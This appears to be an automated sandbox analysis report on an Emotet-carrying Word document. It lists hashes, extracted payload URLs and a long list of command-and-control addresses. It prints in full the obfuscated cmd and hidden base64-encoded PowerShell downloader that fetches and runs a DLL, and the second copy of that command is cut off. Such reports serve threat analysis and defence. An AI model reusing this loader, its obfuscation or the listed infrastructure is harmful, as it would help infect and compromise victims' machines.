Analysis
-
max time kernel
139s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11-02-2021 19:52
Behavioral task
behavioral1
Sample
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
Resource
win10v20201028
General
-
Target
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
-
Size
164KB
-
MD5
02b2dee96e10003270606dfd7e059d23
-
SHA1
defe94b8ae07e6c5db6942bc7d020b615c4ba75d
-
SHA256
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe
-
SHA512
4ebd0002c4c75788efdcd928d86da802c0a7d7152e96d6d900c72c656e14fbe62562aa8dff5f409ef1c158fb36c3e05a065c07093b104d3ae10e7ff0cc7c02a4
Malware Config
Extracted
http://www.achutamanasa.com/media/Te/
http://opticaquilin.cl/wp-includes/FFueL/
https://www.infoquick.co.uk/assets/h/
http://vilajansen.com.br/loja_old_1/p/
http://oftalmovilaplana.com/wp-includes/wfKu/
https://cashyinvestment.org/wp-content/21dIZ/
http://merkadito.mx/upload/6/
Extracted
emotet
Epoch2
12.175.220.98:80
162.241.204.233:8080
50.116.111.59:8080
172.86.188.251:8080
139.99.158.11:443
66.57.108.14:443
75.177.207.146:80
194.190.67.75:80
50.245.107.73:443
173.70.61.180:80
85.105.205.77:8080
104.131.11.150:443
62.75.141.82:80
70.92.118.112:80
194.4.58.192:7080
120.150.60.189:80
24.231.88.85:80
78.24.219.147:8080
110.142.236.207:80
119.59.116.21:8080
144.217.7.207:7080
95.213.236.64:8080
46.105.131.79:8080
176.111.60.55:8080
174.118.202.24:443
94.23.237.171:443
138.68.87.218:443
110.145.101.66:443
134.209.144.106:443
74.208.45.104:8080
24.178.90.49:80
172.125.40.123:80
157.245.99.39:8080
118.83.154.64:443
202.134.4.211:8080
121.124.124.40:7080
172.104.97.173:8080
110.145.11.73:80
172.105.13.66:443
168.235.67.138:7080
78.188.225.105:80
59.21.235.119:80
185.94.252.104:443
24.179.13.119:80
49.205.182.134:80
51.89.36.180:443
115.21.224.117:80
202.134.4.216:8080
190.251.200.206:80
78.189.148.42:80
220.245.198.194:80
85.105.111.166:80
5.39.91.110:7080
203.153.216.189:7080
93.146.48.84:80
181.165.68.127:80
70.183.211.3:80
47.144.21.37:80
167.114.153.111:8080
75.109.111.18:80
24.69.65.8:8080
188.165.214.98:8080
187.161.206.24:80
74.58.215.226:80
74.128.121.17:80
24.164.79.147:8080
139.59.60.244:8080
136.244.110.184:8080
2.58.16.89:8080
79.137.83.50:443
139.162.60.124:8080
89.216.122.92:80
188.219.31.12:80
190.103.228.24:80
109.74.5.95:8080
87.106.139.101:8080
78.182.254.231:80
74.40.205.197:443
89.106.251.163:80
69.49.88.46:80
62.171.142.179:8080
217.20.166.178:7080
161.0.153.60:80
37.187.72.193:8080
190.240.194.77:443
5.2.212.254:80
200.116.145.225:443
98.109.133.80:80
75.113.193.72:80
115.94.207.99:443
109.116.245.80:80
123.176.25.234:80
120.150.218.241:443
50.91.114.38:80
180.222.161.85:80
186.74.215.34:80
95.9.5.93:80
64.207.182.168:8080
197.211.245.21:80
61.19.246.238:443
37.139.21.175:8080
181.171.209.241:443
185.201.9.197:8080
71.72.196.159:80
41.185.28.84:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 916 1736 cmd.exe -
Blocklisted process makes network request 13 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 532 powershell.exe 8 532 powershell.exe 10 532 powershell.exe 12 532 powershell.exe 14 532 powershell.exe 16 532 powershell.exe 18 532 powershell.exe 20 532 powershell.exe 22 992 rundll32.exe 25 992 rundll32.exe 26 992 rundll32.exe 27 992 rundll32.exe 30 992 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1108 rundll32.exe 1108 rundll32.exe 1108 rundll32.exe 1108 rundll32.exe 664 rundll32.exe 664 rundll32.exe 664 rundll32.exe 664 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Froktyco\uyrmjsw.apz rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 844 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exerundll32.exepid process 532 powershell.exe 532 powershell.exe 992 rundll32.exe 992 rundll32.exe 992 rundll32.exe 992 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 532 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 844 WINWORD.EXE 844 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 916 wrote to memory of 696 916 cmd.exe msg.exe PID 916 wrote to memory of 696 916 cmd.exe msg.exe PID 916 wrote to memory of 696 916 cmd.exe msg.exe PID 916 wrote to memory of 532 916 cmd.exe powershell.exe PID 916 wrote to memory of 532 916 cmd.exe powershell.exe PID 916 wrote to memory of 532 916 cmd.exe powershell.exe PID 532 wrote to memory of 1128 532 powershell.exe rundll32.exe PID 532 wrote to memory of 1128 532 powershell.exe rundll32.exe PID 532 wrote to memory of 1128 532 powershell.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1128 wrote to memory of 1108 1128 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 664 1108 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 664 wrote to memory of 800 664 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe PID 800 wrote to memory of 992 800 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdA